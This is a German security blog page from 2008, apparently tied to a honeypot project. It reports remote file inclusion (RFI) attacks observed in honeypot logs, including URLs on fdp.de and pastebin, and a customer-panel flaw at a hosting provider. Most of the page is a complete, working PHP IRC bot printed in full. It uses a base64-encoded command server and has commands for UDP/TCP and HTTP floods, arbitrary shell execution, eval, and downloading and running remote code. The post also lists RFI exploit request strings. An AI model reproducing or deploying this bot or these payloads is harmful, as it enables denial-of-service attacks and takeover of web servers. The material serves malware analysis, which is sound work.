Wednesday, August 20. 2008[malware] fdp.de gehackt?
Scheinbar ist die fdp.de Webseite Opfer einer RFI Attacke geworden.
In der letzten Zusammenfassung des tschechischen Honeynet Projektes fiel ein Eintrag auf: Bericht vom 20.August 2008 STATISTIKA PRO RFI/XSS - MALWARE Link na malware - pocet IP - pocet utoku http://fdp.de/vorschaltseite/did.txt - 31 - 94 - 6a608609c0535feef25f60325d2e40cbund noch ein zweiter: http://fdp.de/vorschaltseite/id.txt - 58 - 249 - 9e816808f1debe9ebeecb08654c2d5c2Im Bericht vom Vortag finden sich folgende Einträge: http://fdp.de/vorschaltseite/did.txt - 3 - 6 - 6a608609c0535feef25f60325d2e40cb http://fdp.de/vorschaltseite/id.txt - 28 - 163 - 9e816808f1debe9ebeecb08654c2d5c2Im Bericht vom 17. August taucht die Adresse das erstemal auf: http://fdp.de/vorschaltseite/did.txt - 7 - 18 - 6a608609c0535feef25f60325d2e40cbEine google-Suche nach fdp.de/vorschaltseite gibt uns Gewissheit. Beispiele: http://forums.oscommerce.de/index.php?showtopic=64731&view=getlastpost 00:00:00 libwww-perl artmam.com 13:12:02 /index.php?custompluginfile[]=http://fdp. de/vorschaltseite/id.txthttp://infolac.ucol.mx/access/ pbb_root_path=http://fdp.de/vorschaltseite/id.txt?Obwohl die Dateie(en) nicht mehr auf der FDP Vorschaltseite zu finden sind, können wir trotzdem einen Blick darauf werfen: Thursday, August 14. 2008ID:ABM-260448 ROLE hostmaster intergenia
Dies wird nun zu einer Art unendlicher Geschichte.
In der Nacht vom 11. zum 12.8.2008 habe ich einmal angetestet, ob meine Theorie bezüglich Fehlern im sog. "powerpanel" von server4you zutrifft. Es war mir möglich über mein "powerpanel" den ROLE des hostmaster intergenia AG erfolgreich zu bearbeiten. Wenn ich als Kunde das kann, kann es jeder Kunde. Die Funktion, den Inhalt des Handles ABM-260448 zu bearbeiten, wird mir ganz offiziell in meinem Kundeninterface angeboten. Wenn man sich in seine Verwaltungswebseite eingelogt hat, kann man sich entweder über die Domainverwaltung durchklicken oder man ruft die Seite direkt auf: Change ROLE handle ABM-260448 Natürlich habe ich dem Support dies gemeldet. Saturday, August 9. 2008[malware] RFI Attacken mit Hilfe von pastebin.ubuntu.com
Ob ubuntu Eure bevorzugte Distribution ist, sei einmal dahingestellt.
Offensichtlich wird jedoch der pastebin im "plain" dafür ausgenutzt webseiten zu übernehmen. CODE: cat rfi.txt |grep pastebin
/doc//contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://pastebin.ubuntu.com/33902/plain/???
/doc//contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://pastebin.ubuntu.com/33897/plain/?
/doc//contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://pastebin.ubuntu.com/33924/plain/?
/doc//contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://pastebin.ubuntu.com/33924/plain/
/doc//contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://pastebin.ubuntu.com/33946/plain/?
/doc///vwar/backup/errors.php?error=http://pastebin.ubuntu.com/35446/plain/???
Schauen wir uns einmal diesen letzten "pastebin" an: CODE: <?php
ignore_user_abort(TRUE);
set_time_limit(0);
error_reporting(E_ALL);
class bMain
{
var $config = array(
// "prefix" => "HOMOVAN|",
"maxnumbers" => 5,
"maxident" => 6,
"trigger" => ".",
"modes" => "-ix",
"adminhosts" => array("i.love.ircsluts.net"),
"sockbuffer" => 512,
"rejoindelay" => 900,
"cpingdelay" => 10,
"chessburstudp" => 5000,
"chessbursttcp" => 100,
"httpburst" => 20,
);
var $servers = array(
array(
"host" => "Y2FydGVyLndpZ2d5bmV0Lm9yZy51aw==",
"port" => "OTAwMA==",
"channels" => array("I21vYmZpZ2dh"),
"control" => true,
),
);
var $bots = array();
var $lastrejointime;
function bMain()
{
$this->lastrejointime = time();
}
function start()
{
foreach ($this->servers as $srv)
{
$bot = new bBot;
$bot->setnick($this->generatenick());
$bot->setcontrol($srv["control"]);
foreach ($srv["channels"] as $chan) $bot->channels[] = base64_decode($chan);
$bot->setdestination(base64_decode($srv["host"]),base64_decode($srv["port"]),$this->generateident());
$bot->lastreconnect = time();
$bot->connect();
$this->bots[] = $bot;
}
while (1) $this->heartbeat();
}
function heartbeat()
{
if (time()-$this->lastrejointime >= $this->config["rejoindelay"])
{
$this->lastrejointime = time();
$botcnt = count($this->bots);
for ($i=0; $i<$botcnt; $i++) $this->bots[$i]->joinchans();
}
foreach ($this->bots as $botlol) {
if ($botlol->isconnected()) $botlol->parsebuffer();
elseif (time()-10 > $botlol->lastreconnect) {
/* $botlol->lastreconnect = time();
$botlol->setnick($this->generatenick());
$botlol->connect();*/
exit();
}
}
}
function generatenick()
{
/* $randnick = $this->config["prefix"];
for ($i=0;$i<$this->config["maxnumbers"];$i++) $randnick .= mt_rand(0,9);
return $randnick;*/
$nprefixes = array("Wolf","Wolfeh","Wolfy","Dog","Doggy","Doggy","Cheetah","Yiff","Yiffy","Lion","Lioness","Tiger","Tigah","Aardvark","Badger","Beaver","Cat","Kitty","Deer","Donkey","Donkeh","Bear","Grizzly","Hamster","Pikachu","Mudkip","Goat","Coyote","Flame","Mustang","Lynx","Stallion","Tapir","Panda","Pony","Bunny","Dawg","Inu","Neko","Usagi","Kitsune","Kitune","Tails","Horny","Kinky","Yiffy","Sexy","Manly","Female","Horneh","Sex","Sxc","Flame","Viper","Fire","Desu","Angry","Happy","Playful","Naughty","Good","Speed","Snow","Beach","Windy","Dream","Dreamer","Afro","Skritchy","Lovely","Sonic");
$newnick = $nprefixes[array_rand($nprefixes)].$nprefixes[array_rand($nprefixes)];
for ($i=0; $i<mt_rand(1,$this->config["maxnumbers"]); $i++) $newnick .= mt_rand(0,9);
return strtolower($newnick);
}
function generateident()
{
$alph = range("a","z");
$randident = "";
for($i = 0;$i<$this->config["maxident"];$i++) $randident .= $alph[rand(0,25)];
return $randident;
}
function activeconnections()
{
$concount = 0;
foreach ($this->bots as $bot)
{
if ($bot->isconnected()) $concount++;
}
return $concount;
}
function startchess($t, $h, $p, $ps, $ti)
{
/* if (strlen($this->chessfile) < 1) $this->chessfile = $this->createchessfile();
$this->spawnfakethreads("php ".$this->chessfile." ".base64_encode($h)." ".base64_encode($p)." ".base64_encode($ps)." ".base64_encode($t), intval($th));*/
$ho = "";
if ($t == "udp") {
$burst = $this->config["chessburstudp"];
$ho = "udp://";
//print("using udp $burst\n");
}
elseif ($t == "tcp") {
$burst = $this->config["chessbursttcp"];
$ho = "tcp://";
//print("using tcp $burst\n");
}
//else print("else $t\n");
$ho .= $h;
$lastping = 0;
$out = "";
for($i=0;$i<$ps;$i++) $out .= chr(mt_rand(1, 256));
$i = 0;
$pakcnt = 0;
$timei = time();
while (1) {
if ($p < 1 || $p > 65000) $po = mt_rand(1,65000);
else $po = $p;
@$fp = fsockopen($ho, $po, $errno, $errstr, 1);
if ($fp) {
fwrite($fp, $out);
fclose($fp);
}
$i++;
if ($i >= $burst) {
$ctime = time();
if ($ctime - $lastping >= $this->config["cpingdelay"]) {
foreach ($this->bots as $botlol) {
$botlol->raw("PING");
}
$lastping = $ctime;
}
$pakcnt += $i;
if ($ctime - $timei >= $ti) return $pakcnt;
else $i = 0;
}
}
}
function starthttp($url, $secs)
{
$agents = array(
"Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload x.0",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030306 Camino/0.7",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0",
"Opera/9.50 (Windows NT 5.1; U; en-GB)",
"Opera/9.50 (Windows NT 5.1; U; en-US)",
);
$parsed = parse_url($url);
if (!$parsed) return false;
$servip = gethostbyname($parsed['host']);
if (!$parsed['query']) $parsed['query'] = "";
$lastping = 0;
$i = 0;
$reqcnt = 0;
$timei = time();
while (1) {
if ($sock = fsockopen($servip, 80, $errno, $errstr, 1)) {
$packet = "GET ".$parsed['path']."?".$parsed['query']." HTTP/1.1\r\n"
. "User-Agent: ".$agents[array_rand($agents)]."\r\n"
. "Host: ".$parsed['host']."\r\n"
. "Connection: Keep-Alive\r\n\r\n";
fwrite($sock, $packet);
fclose($sock);
}
$i++;
if ($i >= $this->config["httpburst"]) {
$ctime = time();
if ($ctime-$lastping >= $this->config["cpingdelay"]) {
foreach ($this->bots as $botlol) {
$botlol->raw("PING");
}
$lastping = $ctime;
}
$reqcnt += $i;
if ($ctime - $timei >= $secs) return $reqcnt;
else $i = 0;
}
}
}
/* function spawnfakethreads($cmd, $qty)
{
if (stristr(PHP_OS, "WIN")) $fullcmd = "start $cmd";
else $fullcmd = "$cmd > /dev/null 2>&1 &";
for ($i=0; $i<$qty; $i++) {
shell_exec($fullcmd);
}
}*/
function update($url, $killprocess, $runcmd, $sourcebot, $source)
{
//$starttime = time();
$updcode = file_get_contents($url);
if ($updcode) $sourcebot->say("Got ".strlen($updcode)." bytes", $source);
else return false;
//$destfile = $this->randtempfile();
$destfile = tempnam("/tmp", "pdata");
$fh = fopen($destfile, "w");
fwrite($fh, $updcode);
fclose($fh);
$this->spawnfakethreads($runcmd." ".$destfile, 1);
unlink($destfile);
if ($killprocess = 1) die("Updating");
}
/* function createchessfile()
{
$tmpfile = tempnam("datab", "/tmp");
$fh = fopen($tmpfile, "w");
fwrite($fh, base64_decode($this->csrc));
fclose($fh);
return $tmpfile;
}*/
}
class bBot
{
var $currenthost;
var $currentport;
var $currentident;
var $currentnick = "unset";
var $channels = array();
var $allowcontrol = false;
var $socket;
var $lastreconnect;
function setdestination($host, $port, $ident)
{
$this->currenthost = $host;
$this->currentport = $port;
$this->currentident = $ident;
}
function connect()
{
$this->socket = fsockopen($this->currenthost, $this->currentport, $errno, $errstr, 5);
if (feof($this->socket))
{
print("connection error: $errstr [$errno]\n");
return false;
}
stream_set_blocking($this->socket, 0);
$this->raw("USER ".$this->currentident." 127.0.0.1 localhost :".php_uname()."");
$this->raw("NICK ".$this->currentnick);
return true;
}
function disconnect()
{
$this->raw("QUIT :Disconnecting");
fclose($this->socket);
}
function setnick($nick, $set = false)
{
if ($set) $this->raw("NICK $nick");
$this->currentnick = $nick;
}
function setcontrol($control)
{
$this->allowcontrol = $control;
}
function joinchans()
{
foreach ($this->channels as $chan) $this->raw("JOIN $chan");
}
function raw($text)
{
fwrite($this->socket, $text."\r\n");
}
function say($text, $target, $notice = false)
{
if (!$notice) $this->raw("PRIVMSG $target :$text");
else $this->raw("NOTICE $target :$text");
}
function isconnected()
{
if ($this->socket && !feof($this->socket)) return true;
else return false;
}
function parsebuffer()
{
global $mainclass;
$buf = trim(fgets($this->socket, $mainclass->config["sockbuffer"]));
if (!$buf || strlen($buf) < 3)
{
usleep(100000);
return false;
}
if (substr($buf,0,6) == "PING :") $this->raw("PONG :".substr($buf,6));
$cmd = explode(" ", $buf);
if (isset($cmd[1]))
{
switch ($cmd[1])
{
case "001":
$this->raw("MODE ".$this->currentnick." :".$mainclass->config["modes"]);
$this->joinchans();
break;
case "433":
$this->raw("NICK {$this->currentnick}");
break;
case "PRIVMSG":
if (!$this->allowcontrol) break;
$host = explode("@", $cmd[0]);
$text = substr($cmd[3], 1);
for ($i=4; $i<1024; $i++) {
if (isset($cmd[$i])) $text .= " ".$cmd[$i];
else break;
}
if (substr($text, 0, 1) == $mainclass->config["trigger"]) {
$textnoprefix = substr($text, 1);
$textsplit = explode(" ", $textnoprefix);
//if ($host[1] == $mainclass->config["adminhost"]) $this->parsecommand($textsplit, $cmd[2], $cmd[0]);
foreach ($mainclass->config["adminhosts"] as $admhost) {
if (stristr($host[1], $admhost)) {
$this->parsecommand($textsplit, $cmd[2], $cmd[0]);
break;
}
}
}
break;
case "KICK":
if ($cmd[3] == $this->currentnick) $this->joinchans();
break;
}
}
}
function parsecommand($args, $source, $hostname = "")
{
global $mainclass;
$numargs = count($args)-1;
switch ($args[0]) {
// ADMIN COMMANDS GO HERE
case "test":
$this->say("hello", $source);
break;
case "status":
$this->say("Connected to ".$mainclass->activeconnections()." server(s).", $source);
break;
case "info":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
$safemode = "on";
} else {
$safemode = "off";
}
$uname = php_uname();
$this->say("$uname (safe: $safemode)", $source);
if ($_SERVER['SERVER_NAME'] && $_SERVER['REQUEST_URI']) $this->say("http://" . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . "", $source);
break;
case "die":
$this->raw("QUIT :Die command received from $source");
die();
break;
case "chess":
if ($numargs < 5) {
$this->say("Usage: ".$mainclass->config["trigger"]."chess [type (tcp/udp)] [host] [port] [bytes] [secs]", $source);
break;
}
if ($args[1] != "tcp" && $args[1] != "udp") {
$this->say("Invalid type specified", $source);
break;
}
$this->say("Chess starting", $source);
$psizeint = intval($args[4]);
$secsint = intval($args[5]);
$pakits = $mainclass->startchess($args[1], $args[2], intval($args[3]), $psizeint, $secsint);
$mbsent = round(($psizeint*$pakits)/1048576, 2);
$this->say("Chess finished (".$args[1].") - host: ".$args[2].":".$args[3].", psize: ".$args[4].", secs: ".$args[5].", sent: ".$mbsent." megabytes at ".round($mbsent/$secsint, 2)." mb/s", $source);
break;
/* case "stopchess":
if ($mainclass->chessrunning) $this->say("Stopping chess!", $source);
else $this->say("You're not playing chess you asshat", $source);
$mainclass->stopchess = true;
break;*/
case "update":
if ($numargs < 3) {
$this->say("Usage: ".$mainclass->config["trigger"]."update [url] [run with] [kill this process (0/1)]", $source);
break;
}
$this->say("Starting update download...", $source);
if (!$mainclass->update($args[1], $args[2], intval($args[3]), $this, $source)) $this->say("Error downloading file, aborting.", $source);
break;
case "connections":
foreach ($mainclass->bots as $botid => $botlol) if ($botlol->isconnected()) $this->say("(\2".$botid."\2) ".$botlol->currenthost.":".$botlol->currentport." - ".$botlol->currentnick, $source);
break;
case "connect":
if ($numargs < 5) {
$this->say("Usage: ".$mainclass->config["trigger"]."connect [host] [port] [nick (0=rand)] [channels (,)] [control (0,1)]", $source);
break;
}
$this->say("Connecting to ".$args[1]."...", $source);
$newbot = new bBot;
if ($args[3] != "0") $newbot->setnick($args[3]);
else $newbot->setnick($mainclass->generatenick());
if ($args[5] == "1") $newbot->setcontrol(true);
else $newbot->setcontrol(false);
$newchannels = explode(",", $args[4]);
foreach ($newchannels as $newchan) $newbot->channels[] = $newchan;
$newbot->setdestination($args[1],$args[2],$mainclass->generateident());
$newbot->connect();
if ($newbot->isconnected()) {
$mainclass->bots[] = $newbot;
$this->say("Connection successful, use "disconnect" to disconnect.", $source);
}
else $this->say("Connection error!", $source);
break;
case "disconnect":
if ($numargs < 1) {
$this->say("Usage: ".$mainclass->config["trigger"]."disconnect [conid]", $source);
break;
}
$conid = intval($args[1]);
if (strlen($args[1]) > 2 || !$mainclass->bots[$conid]) {
$this->say("Invalid connection ID", $source);
break;
}
if ($mainclass->bots[$conid]->allowcontrol) {
$ctrlbots = 0;
foreach ($mainclass->bots as $bawt) {
if ($bawt->allowcontrol) $ctrlbots++;
}
if ($ctrlbots <= 1) {
$this->say("Cannot disconnect while only one control connection remaining, use "die"", $source);
break;
}
}
if (count($mainclass->bots) <= 1) {
$this->raw("QUIT :Final connection dropped, quitting");
die();
break;
}
if ($mainclass->bots[$conid]) {
$mainclass->bots[$conid]->disconnect();
unset($mainclass->bots[$conid]);
sort($mainclass->bots);
$this->say("Connection ".$args[1]." disconnected", $source);
}
else $this->say("Invalid connection ID", $source);
break;
case "exec":
$txt = "";
for ($i=1; $i<1024; $i++) {
if (isset($args[$i])) $txt .= $args[$i]." ";
else break;
}
$ph = popen($txt." 2>&1", "r");
$read = fread($ph, 8192);
$out = explode("\n", $read);
pclose($ph);
foreach ($out as $line)
{
$this->say(trim($line), $source);
//sleep(1);
}
break;
case "eval":
ob_start();
eval($args);
$outa = explode("\n", ob_get_flush());
foreach ($outa as $line)
{
$this->say(trim($line), $source);
//sleep(1);
}
ob_end_flush();
break;
case "http":
if ($numargs < 2) {
$this->say("Usage: ".$mainclass->config["trigger"]."http [url] [secs]", $source);
break;
}
$this->say("HTTP request flood starting", $source);
$requests = $mainclass->starthttp($args[1], intval($args[2]));
if ($requests && $requests > 0) $this->say("HTTP flood finished - sent ".$requests." requests", $source);
else $this->say("HTTP flood error, no requests sent", $source);
break;
}
}
}
$mainclass = new bMain;
$mainclass->start();
?>
interessant die base 64 Kodierung der server und channel Variablen.
(Page 1 of 1, totaling 3 entries)
|
Pageskatsumi's page
GROSPOLINA.ORG Glastopf Webhoneypot Glastopf Projektseite Glastopf Subversion/Trac Glastopf @ grospolina Linksgut verglast ist ....
GLASBLOG zeroq's blog: VIRUSBLOG Jon.Oberheide's blog: jon.oberheide.org offensivecomputing.net: kishfellow's blog malware&reversing Zairon's blog Bharath m narayan's blog: Bharath's security blog botnetz.com: BOTNETZ tho's blog: HoneyBlog Perforin's virii.lu: virii.lu The Outside Of The Asylum: ab in die anstalt
QuicksearchCategoriesTop Referrerswappoin.info (24)
androidisin.info (12) javarussia.info (12) lovez24.info (12) meetingua.info (12) wapzings.info (12) loves2012.info (11) mailrupochta.info (11) bibarok.radio104.ru (9) makat.viahosting.ru (9) 2012androids.info (8) 24openru.info (8) androidalgood.info (8) androiderer.info (8) androids24.info (8) androidskachat.info (8) blogloves.info (8) durovru.info (8) etojava.info (8) htcain.info (8) htcau.info (8) htclim.info (8) htclus.info (8) htcma.info (8) Letzte Goggele Suche4521569111
dlsldododl d0rk new 2011 ipays exploit ipays - exploit pbot dragonfly irc.byroe Powered by Ollance Member Login Script "prefix"=>"bodao","maxrand"=>"8", intitle:© 2011 Powered by Subrion CMS sandbox 2304 fehler powered by zoopeer powered by zoopeer remote-exploit sathyajith irc.kamtiez.web.id pbot shot| irc.cyberirc.org bot in my world theres no left right grospolina 213.251.169.156 pbot "Powered By Zoopeer" "Powered By Zoopeer" mail.indoserver.web.id grospolina "powered by zoopeer" yourwebinterface.com Threaded Mode | Linear Mode powered by zoopeer "@+#+irc.ascnet.biz" Threaded Mode | Linear Mode powered by zoopeer Threaded Mode | Linear Mode powered by zoopeer Threaded Mode | Linear Mode powered by zoopeer dumme musikindustrie verfassung und verfassungsvertrag guttenberg "Powered By Zoopeer" exploit irc rfi bot Syndicate This BlogExploit-db, feed me!GlasfeedNo RSS/OPML feed selected
|
